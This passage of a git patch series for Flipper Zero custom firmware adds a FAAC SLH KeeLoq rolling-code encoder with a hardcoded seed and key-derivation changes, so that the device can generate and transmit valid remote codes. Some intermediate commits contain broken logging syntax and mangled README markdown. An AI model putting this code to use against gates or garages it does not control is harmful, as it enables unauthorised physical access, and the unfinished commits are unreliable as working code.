SubGhzProtocolEncoderFaacSLH instance + * @return true On success + */ +static bool + subghz_protocol_encoder_faac_slh_get_upload(SubGhzProtocolEncoderFaacSLH* instance) { + furi_assert(instance); + + //gen new key + if(subghz_protocol_faac_slh_gen_data(instance)) { + //ToDo if you need to add a callback to automatically update the data on the display + } else { + return false; + } + + size_t index = 0; + size_t size_upload = 2 + (instance->generic.data_count_bit * 2); + if(size_upload > instance->encoder.size_upload) { + FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer."); + return false; + } else { + instance->encoder.size_upload = size_upload; + } + + //Send header + for(uint8_t i = 11; i > 0; i--) { + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_long * 2); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_short * 2); + } + + //Send key data + for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { + if(bit_read(instance->generic.data, i - 1)) { + //send bit 1 + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_long); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_short); + } else { + //send bit 0 + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_short); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_long); + } + } + return true; +} + +bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format) { + furi_assert(context); + SubGhzProtocolEncoderFaacSLH* instance = context; + bool res = false; + do { + if(!subghz_block_generic_deserialize(&instance->generic, flipper_format)) { + FURI_LOG_E(TAG, "Deserialize error"); + break; + } + + subghz_protocol_faac_slh_check_remote_controller( + &instance->generic, instance->keystore, &instance->manufacture_name); + + //optional parameter parameter + flipper_format_read_uint32( + flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); + + subghz_protocol_encoder_faac_slh_get_upload(instance); + + if(!flipper_format_rewind(flipper_format)) { + FURI_LOG_E(TAG, "Rewind error"); + break; + } + uint8_t key_data[sizeof(uint64_t)] = {0}; + for(size_t i = 0; i < sizeof(uint64_t); i++) { + key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF; + } + if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) { + FURI_LOG_E(TAG, "Unable to add Key"); + break; + } + + instance->encoder.is_runing = true; + + res = true; + } while(false); + + return res; +} + +void subghz_protocol_encoder_faac_slh_stop(void* context) { + SubGhzProtocolEncoderFaacSLH* instance = context; + instance->encoder.is_runing = false; +} + +LevelDuration subghz_protocol_encoder_faac_slh_yield(void* context) { + SubGhzProtocolEncoderFaacSLH* instance = context; + + if(instance->encoder.repeat == 0 || !instance->encoder.is_runing) { + instance->encoder.is_runing = false; + return level_duration_reset(); + } + + LevelDuration ret = instance->encoder.upload[instance->encoder.front]; + + if(++instance->encoder.front == instance->encoder.size_upload) { + instance->encoder.repeat--; + instance->encoder.front = 0; + } + + return ret; +} + void* subghz_protocol_decoder_faac_slh_alloc(SubGhzEnvironment* environment) { SubGhzProtocolDecoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolDecoderFaacSLH)); instance->base.protocol = &subghz_protocol_faac_slh; diff --git a/lib/subghz/protocols/faac_slh.h b/lib/subghz/protocols/faac_slh.h index 2575a5ff5..b20a1e639 100644 --- a/lib/subghz/protocols/faac_slh.h +++ b/lib/subghz/protocols/faac_slh.h @@ -11,6 +11,62 @@ extern const SubGhzProtocolDecoder subghz_protocol_faac_slh_decoder; extern const SubGhzProtocolEncoder subghz_protocol_faac_slh_encoder; extern const SubGhzProtocol subghz_protocol_faac_slh; +/** + * Allocate SubGhzProtocolEncoderFaacSLH. + * @param environment Pointer to a SubGhzEnvironment instance + * @return SubGhzProtocolEncoderFaacSLH* pointer to a SubGhzProtocolEncoderFaacSLH instance + */ +void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment); + +/** + * Free SubGhzProtocolEncoderFaacSLH. + * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance + */ +void subghz_protocol_encoder_faac_slh_free(void* context); + +/** + * Key generation from simple data. + * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance + * @param flipper_format Pointer to a FlipperFormat instance + * @param serial Serial number, 28 bit + * @param btn Button number, 4 bit + * @param cnt Counter value, 16 bit + * @param manufacture_name Name of manufacturer's key + * @param frequency Transmission frequency, Hz + * @param preset Modulation, FuriHalSubGhzPreset + * @return true On success + */ +bool subghz_protocol_faac_slh_create_data( + void* context, + FlipperFormat* flipper_format, + uint32_t serial, + uint8_t btn, + uint16_t cnt, + const char* manufacture_name, + uint32_t frequency, + FuriHalSubGhzPreset preset); + +/** + * Deserialize and generating an upload to send. + * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance + * @param flipper_format Pointer to a FlipperFormat instance + * @return true On success + */ +bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format); + +/** + * Forced transmission stop. + * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance + */ +void subghz_protocol_encoder_faac_slh_stop(void* context); + +/** + * Getting the level and duration of the upload to be loaded into DMA. + * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance + * @return LevelDuration + */ +LevelDuration subghz_protocol_encoder_faac_slh_yield(void* context); + /** * Allocate SubGhzProtocolDecoderFaacSLH. * @param environment Pointer to a SubGhzEnvironment instance From da62d8dfdde3e4979cf00c4b5036d683356749a3 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 02:37:08 +0300 Subject: [PATCH 057/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index c6e698833..e929d9c16 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -71,7 +71,8 @@ const SubGhzProtocol subghz_protocol_faac_slh = { .name = SUBGHZ_PROTOCOL_FAAC_SLH_NAME, .type = SubGhzProtocolTypeDynamic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM | - SubGhzProtocolFlag_Decodable, + SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | + SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_faac_slh_decoder, .encoder = &subghz_protocol_faac_slh_encoder, @@ -115,7 +116,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst uint32_t hop = 0; uint32_t decrypt = 0; uint64_t man = 0; - uint32_t seed = 0; + uint32_t seed = 0x77ED7698; int res = 0; char fixx[8] = {}; int shiftby = 32; @@ -397,7 +398,7 @@ static void subghz_protocol_faac_slh_check_remote_controller instance->btn = code_fix & 0xF; uint32_t decrypt = 0; uint64_t man; - uint32_t seed = 0; + uint32_t seed = 0x77ED7698; for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { From 004ce975483759a370f01220eb4b33279e11e822 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 02:52:13 +0300 Subject: [PATCH 058/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index e929d9c16..ce5d23a62 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -413,7 +413,7 @@ static void subghz_protocol_faac_slh_check_remote_controller *manufacture_name = string_get_cstr(manufacture_code->name); break; } - } instance->cnt = decrypt & 0xFFFF; + } instance->cnt = (decrypt & 0xFFFF); } uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context) { From 43a9df04c9f07a8e05cfe85494200f627011193e Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 03:05:16 +0300 Subject: [PATCH 059/461] correct cipher function --- lib/subghz/protocols/faac_slh.c | 4 ++-- lib/subghz/protocols/keeloq_common.c | 3 +-- lib/subghz/protocols/keeloq_common.h | 3 +-- 3 files changed, 4 insertions(+), 6 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index ce5d23a62..a150c02e4 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -139,7 +139,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst case KEELOQ_LEARNING_FAAC: //FAAC Learning man = - subghz_protocol_keeloq_common_faac_learning(fix, seed, manufacture_code->key); + subghz_protocol_keeloq_common_faac_learning(seed, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; } @@ -407,7 +407,7 @@ static void subghz_protocol_faac_slh_check_remote_controller switch(manufacture_code->type) { case KEELOQ_LEARNING_FAAC: // FAAC Learning - man = subghz_protocol_keeloq_common_faac_learning(code_fix, seed, manufacture_code->key); + man = subghz_protocol_keeloq_common_faac_learning(seed, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man); *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/protocols/keeloq_common.c b/lib/subghz/protocols/keeloq_common.c index ca2752a46..40ad420ae 100644 --- a/lib/subghz/protocols/keeloq_common.c +++ b/lib/subghz/protocols/keeloq_common.c @@ -84,14 +84,13 @@ inline uint64_t } /** Faac SLH (Spa) Learning - * @param data - fix number (32bit) * @param seed - seed number (32bit) * @param key - mfkey (64bit) * @return man_learning for this fix number (64bit) */ inline uint64_t - subghz_protocol_keeloq_common_faac_learning(uint32_t data, uint32_t seed, const uint32_t key) { + subghz_protocol_keeloq_common_faac_learning(uint32_t seed, const uint32_t key) { uint32_t k1, k2; uint16_t hs = seed >> 16; uint32_t lsb = (uint32_t)hs << 16 | 0x544D; diff --git a/lib/subghz/protocols/keeloq_common.h b/lib/subghz/protocols/keeloq_common.h index d48f95a60..726f8bc89 100644 --- a/lib/subghz/protocols/keeloq_common.h +++ b/lib/subghz/protocols/keeloq_common.h @@ -69,9 +69,8 @@ uint64_t uint64_t subghz_protocol_keeloq_common_magic_xor_type1_learning(uint32_t data, uint64_t xor); /** Faac SLH (Spa) Learning - * @param data - fix number (32bit) * @param seed - seed number (32bit) * @param key - mfkey (64bit) * @return man_learning for this fix number (64bit) */ -uint64_t subghz_protocol_keeloq_common_faac_learning(uint32_t data, uint32_t seed, const uint32_t key); +uint64_t subghz_protocol_keeloq_common_faac_learning(uint32_t seed, const uint32_t key); From 75e38d3e52b0f0fbbd753e5db8f876b44be52bc3 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 03:39:03 +0300 Subject: [PATCH 060/461] Update faac_slh.c debugging strange cnt behavior --- lib/subghz/protocols/faac_slh.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index a150c02e4..18cb2b45c 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -140,7 +140,11 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst //FAAC Learning man = subghz_protocol_keeloq_common_faac_learning(seed, manufacture_code->key); + uint32_t hi = man >> 32; + uint32_t lo = man & 0xFFFFFFFF; + FURI_LOG_I("man_learning: %8X%8X\n", hi, lo); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); + FURI_LOG_I("hop: %8X\n" hop); break; } break; @@ -408,8 +412,12 @@ static void subghz_protocol_faac_slh_check_remote_controller case KEELOQ_LEARNING_FAAC: // FAAC Learning man = subghz_protocol_keeloq_common_faac_learning(seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s", hi, lo, manufacture_code->name); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); + uint32_t himl = man >> 32; + uint32_t loml = man & 0xFFFFFFFF; + FURI_LOG_I("man_learning: %8X%8X\n", himl, loml); decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man); + FURI_LOG_I("hop: %8X\n" code_hop); *manufacture_name = string_get_cstr(manufacture_code->name); break; } From e493e598bcc87f9e18a68feab7d385f0bf68adea Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 03:46:00 +0300 Subject: [PATCH 061/461] Update faac_slh.c fix syntax --- lib/subghz/protocols/faac_slh.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 18cb2b45c..ea609c821 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -140,11 +140,14 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst //FAAC Learning man = subghz_protocol_keeloq_common_faac_learning(seed, manufacture_code->key); - uint32_t hi = man >> 32; - uint32_t lo = man & 0xFFFFFFFF; - FURI_LOG_I("man_learning: %8X%8X\n", hi, lo); + uint32_t hi = manufacture_code->key >> 32; + uint32_t lo = manufacture_code->key & 0xFFFFFFFF; + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); + uint32_t mlhi = man >> 32; + uint32_t mllo = man & 0xFFFFFFFF; + FURI_LOG_I("man_learning: %8X%8X\n", mlhi, mllo); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); - FURI_LOG_I("hop: %8X\n" hop); + FURI_LOG_I("hop: %8X\n", hop); break; } break; @@ -413,11 +416,11 @@ static void subghz_protocol_faac_slh_check_remote_controller // FAAC Learning man = subghz_protocol_keeloq_common_faac_learning(seed, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); - uint32_t himl = man >> 32; - uint32_t loml = man & 0xFFFFFFFF; - FURI_LOG_I("man_learning: %8X%8X\n", himl, loml); + uint32_t mlhi = man >> 32; + uint32_t mllo = man & 0xFFFFFFFF; + FURI_LOG_I("man_learning: %8X%8X\n", mlhi, mllo); decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man); - FURI_LOG_I("hop: %8X\n" code_hop); + FURI_LOG_I("hop: %8X\n", code_hop); *manufacture_name = string_get_cstr(manufacture_code->name); break; } From a42b4111c30d7bc6f35415047163ca61d57d407b Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 03:52:00 +0300 Subject: [PATCH 062/461] Update faac_slh.c fix syntax FURI_LOG_I(TAG, ..., ...); --- lib/subghz/protocols/faac_slh.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index ea609c821..fb18a0627 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -145,9 +145,9 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); uint32_t mlhi = man >> 32; uint32_t mllo = man & 0xFFFFFFFF; - FURI_LOG_I("man_learning: %8X%8X\n", mlhi, mllo); + FURI_LOG_I(TAG, "man_learning: %8X%8X\n", mlhi, mllo); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); - FURI_LOG_I("hop: %8X\n", hop); + FURI_LOG_I(TAG, "hop: %8X\n", hop); break; } break; @@ -418,9 +418,9 @@ static void subghz_protocol_faac_slh_check_remote_controller FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); uint32_t mlhi = man >> 32; uint32_t mllo = man & 0xFFFFFFFF; - FURI_LOG_I("man_learning: %8X%8X\n", mlhi, mllo); + FURI_LOG_I(TAG, "man_learning: %8X%8X\n", mlhi, mllo); decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man); - FURI_LOG_I("hop: %8X\n", code_hop); + FURI_LOG_I(TAG, "hop: %8X\n", code_hop); *manufacture_name = string_get_cstr(manufacture_code->name); break; } From dfcce23de4080b1a9c47b8ff8d5f995c79e564f7 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Sat, 9 Apr 2022 03:53:49 +0300 Subject: [PATCH 063/461] Update ReadMe.md --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index a38dd8f28..fc61b5ac5 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -1,6 +1,6 @@ # Flipper Zero Unleashed Firmware -[![Discord](https://img.shields.io/discord/740930220399525928.svg?label=&logo=discord&logoColor=ffffff&color=7389D8&labelColor=6A7EC2)](https://discord.gg/58D6E8BtTU) +[![Discord](https://www.google.com/url?sa=i&url=https%3A%2F%2Fdowndetector.ru%2Fne-rabotaet%2Fdiscord%2F&psig=AOvVaw1W5KNSN2RowYdvap9UN8nl&ust=1649551983652000&source=images&cd=vfe&ved=0CAoQjRxqFwoTCNDCn5TihfcCFQAAAAAdAAAAABAD)](https://discord.gg/58D6E8BtTU) fzCUSTOM From 04ba91e1c6c3dfe497031559dd69f76ddd2909e9 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Sat, 9 Apr 2022 03:54:56 +0300 Subject: [PATCH 064/461] Update ReadMe.md --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index fc61b5ac5..082046480 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -1,6 +1,6 @@ # Flipper Zero Unleashed Firmware -[![Discord](https://www.google.com/url?sa=i&url=https%3A%2F%2Fdowndetector.ru%2Fne-rabotaet%2Fdiscord%2F&psig=AOvVaw1W5KNSN2RowYdvap9UN8nl&ust=1649551983652000&source=images&cd=vfe&ved=0CAoQjRxqFwoTCNDCn5TihfcCFQAAAAAdAAAAABAD)](https://discord.gg/58D6E8BtTU) +[![Discord](image)](https://discord.gg/58D6E8BtTU) fzCUSTOM From 7bc3be3127e795ab93651f1318efd4f064261e29 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Sat, 9 Apr 2022 03:55:49 +0300 Subject: [PATCH 065/461] Update ReadMe.md --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index 082046480..18d1a4925 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -1,6 +1,6 @@ # Flipper Zero Unleashed Firmware -[![Discord](image)](https://discord.gg/58D6E8BtTU) +[![Discord](image)](https://discord.gg/58D6E8BtTU) fzCUSTOM From 7bbf5106f0907a0b6f82b7dd1ed92f8fddbeb1bc Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Sat, 9 Apr 2022 03:57:25 +0300 Subject: [PATCH 066/461] Update ReadMe.md --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index 18d1a4925..0da0d6d31 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -1,6 +1,6 @@ # Flipper Zero Unleashed Firmware -[![Discord](image)](https://discord.gg/58D6E8BtTU) +!Discord(image)](https://discord.gg/58D6E8BtTU) fzCUSTOM From 9efa701dd3f40490a8714203d34fc9afea24a2d1 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Sat, 9 Apr 2022 03:58:03 +0300 Subject: [PATCH 067/461] Update ReadMe.md --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index 0da0d6d31..29d59bebf 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -1,6 +1,6 @@ # Flipper Zero Unleashed Firmware -!Discord(image)](https://discord.gg/58D6E8BtTU) +image(https://discord.gg/58D6E8BtTU) fzCUSTOM From 1e4ebdb4263e7503ab6a90ebb1910b2ac901298f Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 04:06:41 +0300 Subject: [PATCH 068/461] Update keeloq_common.c --- lib/subghz/protocols/keeloq_common.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/keeloq_common.c b/lib/subghz/protocols/keeloq_common.c index 40ad420ae..da8c586c9 100644 --- a/lib/subghz/protocols/keeloq_common.c +++ b/lib/subghz/protocols/keeloq_common.c @@ -90,10 +90,11 @@ inline uint64_t */ inline uint64_t - subghz_protocol_keeloq_common_faac_learning(uint32_t seed, const uint32_t key) { + subghz_protocol_keeloq_common_faac_learning(const uint32_t seed, const uint32_t key) { uint32_t k1, k2; uint16_t hs = seed >> 16; - uint32_t lsb = (uint32_t)hs << 16 | 0x544D; + const uint16_t ending = 0x544D; + uint32_t lsb = (uint32_t)hs << 16 | ending; k1 = subghz_protocol_keeloq_common_encrypt(seed, key); k2 = subghz_protocol_keeloq_common_encrypt(lsb, key); return ((uint64_t)k1 << 32) | k2; From dbe1d9114e78b9350339b958764448c5624950d5 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 04:33:32 +0300 Subject: [PATCH 069/461] Update keeloq_common.c --- lib/subghz/protocols/keeloq_common.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/lib/subghz/protocols/keeloq_common.c b/lib/subghz/protocols/keeloq_common.c index da8c586c9..479a9ddb5 100644 --- a/lib/subghz/protocols/keeloq_common.c +++ b/lib/subghz/protocols/keeloq_common.c @@ -91,11 +91,10 @@ inline uint64_t inline uint64_t subghz_protocol_keeloq_common_faac_learning(const uint32_t seed, const uint32_t key) { - uint32_t k1, k2; uint16_t hs = seed >> 16; const uint16_t ending = 0x544D; uint32_t lsb = (uint32_t)hs << 16 | ending; - k1 = subghz_protocol_keeloq_common_encrypt(seed, key); - k2 = subghz_protocol_keeloq_common_encrypt(lsb, key); - return ((uint64_t)k1 << 32) | k2; + uint64_t man = (uint64_t)subghz_protocol_keeloq_common_encrypt(seed, key) << 32 | + subghz_protocol_keeloq_common_encrypt(lsb, key); + return man; } \ No newline at end of file From b3588e46c781628fb45d9f82b1b5d47004ceabd5 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 05:09:31 +0300 Subject: [PATCH 070/461] fix? fix? --- lib/subghz/protocols/keeloq_common.c | 2 +- lib/subghz/protocols/keeloq_common.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/keeloq_common.c b/lib/subghz/protocols/keeloq_common.c index 479a9ddb5..3df383f54 100644 --- a/lib/subghz/protocols/keeloq_common.c +++ b/lib/subghz/protocols/keeloq_common.c @@ -86,7 +86,7 @@ inline uint64_t /** Faac SLH (Spa) Learning * @param seed - seed number (32bit) * @param key - mfkey (64bit) - * @return man_learning for this fix number (64bit) + * @return man_learning for this seed number (64bit) */ inline uint64_t diff --git a/lib/subghz/protocols/keeloq_common.h b/lib/subghz/protocols/keeloq_common.h index 726f8bc89..af2b99248 100644 --- a/lib/subghz/protocols/keeloq_common.h +++ b/lib/subghz/protocols/keeloq_common.h @@ -73,4 +73,4 @@ uint64_t subghz_protocol_keeloq_common_magic_xor_type1_learning(uint32_t data, u * @param key - mfkey (64bit) * @return man_learning for this fix number (64bit) */ -uint64_t subghz_protocol_keeloq_common_faac_learning(uint32_t seed, const uint32_t key); +uint64_t subghz_protocol_keeloq_common_faac_learning(const uint32_t seed, const uint32_t key); From 85079f79c95ad5cad966e8251c2a556f4c766a7d Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 15:15:36 +0300 Subject: [PATCH 071/461] fix mfkey size --- lib/subghz/protocols/keeloq_common.c | 2 +- lib/subghz/protocols/keeloq_common.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/keeloq_common.c b/lib/subghz/protocols/keeloq_common.c index 3df383f54..0fcdab6b1 100644 --- a/lib/subghz/protocols/keeloq_common.c +++ b/lib/subghz/protocols/keeloq_common.c @@ -90,7 +90,7 @@ inline uint64_t */ inline uint64_t - subghz_protocol_keeloq_common_faac_learning(const uint32_t seed, const uint32_t key) { + subghz_protocol_keeloq_common_faac_learning(const uint32_t seed, const uint64_t key) { uint16_t hs = seed >> 16; const uint16_t ending = 0x544D; uint32_t lsb = (uint32_t)hs << 16 | ending; diff --git a/lib/subghz/protocols/keeloq_common.h b/lib/subghz/protocols/keeloq_common.h index af2b99248..99d09d41c 100644 --- a/lib/subghz/protocols/keeloq_common.h +++ b/lib/subghz/protocols/keeloq_common.h @@ -73,4 +73,4 @@ uint64_t subghz_protocol_keeloq_common_magic_xor_type1_learning(uint32_t data, u * @param key - mfkey (64bit) * @return man_learning for this fix number (64bit) */ -uint64_t subghz_protocol_keeloq_common_faac_learning(const uint32_t seed, const uint32_t key); +uint64_t subghz_protocol_keeloq_common_faac_learning(const uint32_t seed, const uint64_t key); From 5455bd53377cc1543241655e2f76c331f0b363a2 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 9 Apr 2022 16:33:11 +0300 Subject: [PATCH 072/461] Seed param concept --- lib/subghz/protocols/faac_slh.c | 27 ++++++++++++++++++++++----- lib/subghz/protocols/faac_slh.h | 1 + 2 files changed, 23 insertions(+), 5 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index fb18a0627..40dd6ed60 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -26,6 +26,8 @@ struct SubGhzProtocolDecoderFaacSLH { SubGhzKeystore* keystore; const char* manufacture_name; + + uint32_t seed; }; struct SubGhzProtocolEncoderFaacSLH { @@ -36,6 +38,8 @@ struct SubGhzProtocolEncoderFaacSLH { SubGhzKeystore* keystore; const char* manufacture_name; + + uint32_t seed; }; typedef enum { @@ -116,7 +120,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst uint32_t hop = 0; uint32_t decrypt = 0; uint64_t man = 0; - uint32_t seed = 0x77ED7698; + instance->seed = 0x77ED7698; int res = 0; char fixx[8] = {}; int shiftby = 32; @@ -139,7 +143,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst case KEELOQ_LEARNING_FAAC: //FAAC Learning man = - subghz_protocol_keeloq_common_faac_learning(seed, manufacture_code->key); + subghz_protocol_keeloq_common_faac_learning(instance->seed, manufacture_code->key); uint32_t hi = manufacture_code->key >> 32; uint32_t lo = manufacture_code->key & 0xFFFFFFFF; FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); @@ -165,6 +169,7 @@ bool subghz_protocol_faac_slh_create_data( uint32_t serial, uint8_t btn, uint16_t cnt, + uint32_t seed, const char* manufacture_name, uint32_t frequency, FuriHalSubGhzPreset preset) { @@ -172,6 +177,8 @@ bool subghz_protocol_faac_slh_create_data( SubGhzProtocolEncoderFaacSLH* instance = context; instance->generic.serial = serial; instance->generic.cnt = cnt; + instance->generic.btn = btn; + instance->seed = seed; instance->manufacture_name = manufacture_name; instance->generic.data_count_bit = 64; bool res = subghz_protocol_faac_slh_gen_data(instance); @@ -243,6 +250,10 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Deserialize error"); break; } + if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)&instance->seed, 1)) { + FURI_LOG_E(TAG, "Missing SEED"); + break; + } subghz_protocol_faac_slh_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); @@ -441,7 +452,12 @@ bool subghz_protocol_decoder_faac_slh_serialize( FuriHalSubGhzPreset preset) { furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; - return subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + if(res && !flipper_format_write_uint32(flipper_format, "SEED", &instance->seed, 1)) { + FURI_LOG_E(TAG, "Unable to add SEED"); + res = false; + } + return res; } bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format) { @@ -465,7 +481,7 @@ void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) "Key:%lX%08lX\r\n" "Fix:%08lX Cnt:%04X\r\n" "Hop:%08lX Btn:%lX\r\n" - "Sn:%07lX \r\n", + "Sn:%07lX Seed:%8X\r\n", instance->generic.protocol_name, instance->generic.data_count_bit, (uint32_t)(instance->generic.data >> 32), @@ -474,5 +490,6 @@ void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) instance->generic.cnt, code_hop, instance->generic.btn, - instance->generic.serial); + instance->generic.serial, + instance->seed); } diff --git a/lib/subghz/protocols/faac_slh.h b/lib/subghz/protocols/faac_slh.h index b20a1e639..32e913f95 100644 --- a/lib/subghz/protocols/faac_slh.h +++ 